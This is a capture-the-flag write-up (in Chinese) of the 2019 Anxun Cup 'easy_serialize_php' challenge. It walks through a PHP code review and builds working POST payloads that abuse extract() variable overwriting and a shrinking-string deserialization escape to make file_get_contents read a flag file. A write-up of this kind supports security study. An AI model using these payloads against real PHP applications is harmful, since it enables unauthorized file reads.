【安洵杯 2019】easy_serialize_php

2023-05-16 10:57:49 浏览数 (3)

本题考点:
  1. 反序列化的字符串逃逸(变少)
  2. extract()变量覆盖
思考过程:

首先代码审计可以看到几个关键点

代码语言:javascript复制
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
//这里是将敏感词替换为空,造成了字符减少,我们就有了字符串逃逸的操作空间
代码语言:javascript复制
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
//extract()函数的变量覆盖,使得上面两个参数可控
代码语言:javascript复制
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
//这里我们要么让guest_img.png逃逸,要么后面能消除sha1()函数的影响
代码语言:javascript复制
if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
//file_get_contents()函数可以读取敏感文件
//$userinfo['img']只进行了base64解码,结合前面我们需要让guset_img.png逃逸
//继续跟进$userinfo['img']的入口,$userinfo = unserialize($serialize_info);  $serialize_info = filter(serialize($_SESSION));
//所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值

我们目的是通过file_get_content()读取敏感文件,通过提示在phpinfo中发现可疑文件

入口有了出口有了路径也有了,开始分析怎么一步一步过去

首先康康反序列化结果长啥样吧

代码语言:javascript复制
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);

//a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

因为我们要让guest_img.png逃逸换成,那我们function就应该为;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},让前面user的值被filter()函数替换掉,让";s:8:"function";s:40:这22个字符成为user的值,img成为一个键,但是本来是有三个键,因此我们这里还需要自己写一个键,最终结果为

代码语言:javascript复制
<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);

a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

经过filter函数处理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}

那么POST传入参数

代码语言:javascript复制
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

查看源码发现flag在/d0g3_fllllllag中,base64编码后再次传参读取即可

代码语言:javascript复制
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞